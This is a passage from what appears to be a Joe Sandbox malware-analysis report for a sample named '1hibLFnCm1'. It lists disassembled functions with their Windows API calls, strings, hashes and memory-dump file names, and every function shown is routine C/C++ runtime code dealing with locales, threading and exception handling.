Opcode ID: fe081cf2f1624891d90fca6a2b45f45030a01409874485435bb9a0f33b242264
Instruction ID: 602f631550031705a7b4a32f2d840f0f4e57b02c2e10a7298913e61e5a91e547
Opcode Fuzzy Hash: fe081cf2f1624891d90fca6a2b45f45030a01409874485435bb9a0f33b242264
Instruction Fuzzy Hash: ADF0FE32A00116AFEB3857108C05FBA7778DF40364F158426EC09A3144DA78FE42D5D1

Function 00F723AD Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00F72401

Strings

utf8, xrefs: 00F72370

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: b924c2b88659f8a0906abbc4c5121bd42d01ff56f033aa0064415ad8580eb44a
Instruction ID: be6355063f7bceee3ceaf393bec53aa4abb4985e54b6c084751ee689179bf43e
Opcode Fuzzy Hash: b924c2b88659f8a0906abbc4c5121bd42d01ff56f033aa0064415ad8580eb44a
Instruction Fuzzy Hash: 3CF02832B04105ABC714AF34DC49EBA33ECDB45310F20007AB906D7281EAB8AE04A791

Function 00F7253A Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

EnumSystemLocalesW.KERNEL32(00F72818,00000001,45F1B473,?,-00000050,?,00F72BBA,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00F72584

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9fb771892b4c5b30b9be5a84c7fd7079a7b0f0ed968bad8195170d82071cf5e6
Instruction ID: 2dd9990446f7ca3e23409ca69d4704cccf171e28a0ec0b887198390921b4f378
Opcode Fuzzy Hash: 9fb771892b4c5b30b9be5a84c7fd7079a7b0f0ed968bad8195170d82071cf5e6
Instruction Fuzzy Hash: D8F046367003041FDB249F399C91A7A7B95FF80328F19842EFA4A4B680C7B19D02EB01

Function 00F6821E Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F61F98: EnterCriticalSection.KERNEL32(?,?,00F66CC3,00000000,00F87F68,0000000C,00F66C8A,0000000C,?,00F681AD,0000000C,?,00F6937F,00000001,00000364,?), ref: 00F61FA7

EnumSystemLocalesW.KERNEL32(00F68211,00000001,00F88028,0000000C,00F68640,00000000), ref: 00F68256

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: e536351909250d2a58b3385f596f5114d904bf49d87d0338b9bd60cac26289ba
Instruction ID: 1d6e12778ba4fff43183da7cdf2f5199020c8302fc734cf3bc3695ce855ea66f
Opcode Fuzzy Hash: e536351909250d2a58b3385f596f5114d904bf49d87d0338b9bd60cac26289ba
Instruction Fuzzy Hash: E1F03C76A44208EFDB00EF98DC42BAD77B0FB44721F10411AE814D72A1CBB95945AF41

Function 00F72454 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00F691E1: GetLastError.KERNEL32(?,00000008,00F67C1C), ref: 00F691E5
Part of subcall function 00F691E1: SetLastError.KERNEL32(00000000,00000001,00000005,000000FF), ref: 00F69287

EnumSystemLocalesW.KERNEL32(00F723AD,00000001,45F1B473,?,?,00F72C18,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00F7248B

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: ac21f0e2e8266eea6b6ee751b5deedd700012971f02fd14c016d7ca799f67759
Instruction ID: 0d5dfdb9582c4c68bbfb5bf4a17c3c143a7cc5a7e4920760018b22b79bd7e699
Opcode Fuzzy Hash: ac21f0e2e8266eea6b6ee751b5deedd700012971f02fd14c016d7ca799f67759
Instruction Fuzzy Hash: CCF0E53670020957CB04DF39DC49A6A7FA4EFC1720F06805DFA0A8B251C675D942E751

Function 00F68744 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00F6682E,?,20001004,00000000,00000002,?,?,00F65E30), ref: 00F68778

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 5442d699115a823181dc924056c7ebc9bbc09e09157d57886a7f171d794d2c49
Instruction ID: 0f23d6ebd9b786248b5d1512d4c87c12f5fa922b36c53e4734eb8ee2ebef23cc
Opcode Fuzzy Hash: 5442d699115a823181dc924056c7ebc9bbc09e09157d57886a7f171d794d2c49
Instruction Fuzzy Hash: 39E04F3250011CBBDF122F61DD05E9E7E16EF44BA0F114124FD0966260CF768962BBD6

Function 00F5BAF3 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000BAFF,00F5AE57), ref: 00F5BAF8

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 200ecc82e541657bdbc005bfacf1304dd8f8953271fe9434dc8d9e6e25bc22ad
Instruction ID: 37673ef7ae0a674a9b3419e4143442ff58a197c40e6c266f7a61b44275be831c
Opcode Fuzzy Hash: 200ecc82e541657bdbc005bfacf1304dd8f8953271fe9434dc8d9e6e25bc22ad
Instruction Fuzzy Hash:

Function 00F72D78 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00F72D78

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 0a646dd30670ae841f3d9123456d606a9ce1bd5e27727d8516a9b88f2e9b6871
Instruction ID: 6b4bb9df5e527bd488d8f61b3216456b26b7f9243eae5e791c56e521e541f548
Opcode Fuzzy Hash: 0a646dd30670ae841f3d9123456d606a9ce1bd5e27727d8516a9b88f2e9b6871
Instruction Fuzzy Hash: 5EA02430101304CF5300CF315F0430C35D4774D5D074140145004CC130D7304040FF03

Function 00F6DAB9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824bad8496b806e30e164cab001e9fa16808933ada556bbb01a4139e2dec626
Instruction ID: 30654baf036f9c309aae4a4542d5526e55949296afe42003ced27716d0dfb23c
Opcode Fuzzy Hash: 2824bad8496b806e30e164cab001e9fa16808933ada556bbb01a4139e2dec626
Instruction Fuzzy Hash: 0C320222D29F054DD7639634DC22336A68DAFB73D4F15C727F81AB59AAEB2884C36101

Function 00F6CEEC Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86fcdfd1c4b803da11d3519fcd0678c6e5ffec2fe946b7f0659319e6c8cff2ad
Instruction ID: f92b773454f82d63a633902a66b9f2c40b3c28a432f15ea444aa670e48f0440a
Opcode Fuzzy Hash: 86fcdfd1c4b803da11d3519fcd0678c6e5ffec2fe946b7f0659319e6c8cff2ad
Instruction Fuzzy Hash: 75E08C72A11238EBCB14DB88C94499AF3FCEB48FA0B15009AB541D3100C274DE00D7E0

Function 00F6528D Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7670a5439429275f47a7269192a066cd67782bff548d39fcf9cbb0160484796f
Instruction ID: 40794692950a67f70578b685c2d0ff07ccd176496d44720626b5ffc56b36247f
Opcode Fuzzy Hash: 7670a5439429275f47a7269192a066cd67782bff548d39fcf9cbb0160484796f
Instruction Fuzzy Hash: 8BC08C38510D0046CF29999082713B83368A3E1FD2F80048CD8426B642C61E9C82F600

Function 00F5B025 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00F8B564,00000FA0,?,?,00F5B003), ref: 00F5B031
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00F5B003), ref: 00F5B03C
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00F5B003), ref: 00F5B04D
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00F5B05F
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00F5B06D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00F5B003), ref: 00F5B090
DeleteCriticalSection.KERNEL32(00F8B564,00000007,?,?,00F5B003), ref: 00F5B0AC
CloseHandle.KERNEL32(00000000,?,?,00F5B003), ref: 00F5B0BC

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 00F5B037
kernel32.dll, xrefs: 00F5B048
SleepConditionVariableCS, xrefs: 00F5B059
WakeAllConditionVariable, xrefs: 00F5B065

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 4812def822cf25a1c19e2e4efc2f30056c00a527d672b8fd96eba2a24ed41545
Instruction ID: e6bc82684b9fa13dd2910ff2777d09aea0d54092f5b7fdf5cddd084eb334540c
Opcode Fuzzy Hash: 4812def822cf25a1c19e2e4efc2f30056c00a527d672b8fd96eba2a24ed41545
Instruction Fuzzy Hash: 93018871E4071AAFDB216B71AC0DA6F3758EF8175270A4411FE0CD62A4DB60C848BB63

Function 00F56630 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F5665C
std::_Lockit::_Lockit.LIBCPMT ref: 00F56679
std::_Lockit::~_Lockit.LIBCPMT ref: 00F5669D
std::_Lockit::~_Lockit.LIBCPMT ref: 00F566C8
std::_Lockit::_Lockit.LIBCPMT ref: 00F5673A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00F5678F
__Getctype.LIBCPMT ref: 00F567A6
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00F567E6
std::_Lockit::~_Lockit.LIBCPMT ref: 00F56888
std::_Facet_Register.LIBCPMT ref: 00F5688E

Strings

bad locale name, xrefs: 00F568A8

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
String ID: bad locale name
API String ID: 103145292-1405518554
Opcode ID: 807cc7b2c9c59b4a77ffc5aa6189fbd1120218173d1ff9b25a33ee3f01aec433
Instruction ID: 53b0985c06b4bc91793884cd60142e49296e4839d33b0f2fc19a1a577d26c265
Opcode Fuzzy Hash: 807cc7b2c9c59b4a77ffc5aa6189fbd1120218173d1ff9b25a33ee3f01aec433
Instruction Fuzzy Hash: 8D618EB19043408FD710DF24D941B5BB7E4BF98355F48491CEE99DB222EB34E909DB92

Function 00F5AD34 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00F5AD3A
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00F5AD48
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00F5AD59
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00F5AD6A

Strings

GetCurrentPackageId, xrefs: 00F5AD42
kernel32.dll, xrefs: 00F5AD35
GetSystemTimePreciseAsFileTime, xrefs: 00F5AD4E
GetTempPath2W, xrefs: 00F5AD5F

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 4c9d848548061fb28a8f5c2061d5918be82f7b1519dbd81327b48fd8266711e3
Instruction ID: 1105d3c90c829b15db57b36a8d7d33e1ee27b1075033b18fd9f42417253606ba
Opcode Fuzzy Hash: 4c9d848548061fb28a8f5c2061d5918be82f7b1519dbd81327b48fd8266711e3
Instruction Fuzzy Hash: AEE0EC7195122CAF83019F70BC0E99A3FA4AB467553028813F40DD2262D7B08484BFA3

Function 00F5E828 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00F5E947
___TypeMatch.LIBVCRUNTIME ref: 00F5EA55
_UnwindNestedFrames.LIBCMT ref: 00F5EBA7
CallUnexpected.LIBVCRUNTIME ref: 00F5EBC2

Strings

csm, xrefs: 00F5E865
csm, xrefs: 00F5E8D2
csm, xrefs: 00F5E97E

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: eb49dc36b74d2cdf15cb54aec0b0ecea623f5c9ef26d425fc217a5719170c729
Instruction ID: 42f5501b0d043fd4f7c7403fcb020c44fb0a2d2171aec02fec28a8c3a6623358
Opcode Fuzzy Hash: eb49dc36b74d2cdf15cb54aec0b0ecea623f5c9ef26d425fc217a5719170c729
Instruction Fuzzy Hash: 78B17975C00219EFCF28DFA4C8819AEBBB5BF44322F14415AEE156B202D334DB59EB91

Function 00F780C2 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00F78168
__alloca_probe_16.LIBCMT ref: 00F78223
__alloca_probe_16.LIBCMT ref: 00F782B2
__freea.LIBCMT ref: 00F782FD
__freea.LIBCMT ref: 00F78303
__freea.LIBCMT ref: 00F78339
__freea.LIBCMT ref: 00F7833F
__freea.LIBCMT ref: 00F7834F

Memory Dump Source

Source File: 00000000.00000002.1701264536.0000000000F51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000000.00000002.1701246741.0000000000F50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701300528.0000000000F7A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701324839.0000000000F89000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701344204.0000000000F8A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701362663.0000000000F8D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701444135.000000000102F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f50000_1hibLFnCm1.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: f6c7dd3a4088d3b3023379f334e0c5989e33fa98a8a01cd66e946fb4cb2a17f5
Instruction ID: 38ac0f39b7725ab4508c71384dc9aeacc0a86de0e9b5507be3c9c81d92c954d2
Opcode Fuzzy Hash: f6c7dd3a4088d3b3023379f334e0c5989e33fa98a8a01cd66e946fb4cb2a17f5
Instruction Fuzzy Hash: A7712A32D402099BDF219E68CC49FAE77B99F457A0F288057E91CA7241EF759C03E762

Function 00F5A4D4 Relevance: 10.7, APIs: 7, Instructions: 153threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F5A4FC
GetCurrentThreadId.KERNEL32 ref: 00F5A519
GetCurrentThreadId.KERNEL32 ref: 00F5A53A
GetCurrentThreadId.KERNEL32 ref: 00F5A5BD
__Xtime_diff_to_millis2.LIBCPMT ref: 00F5A5D5
GetCurrentThreadId.KERNEL32 ref: 00F5A601
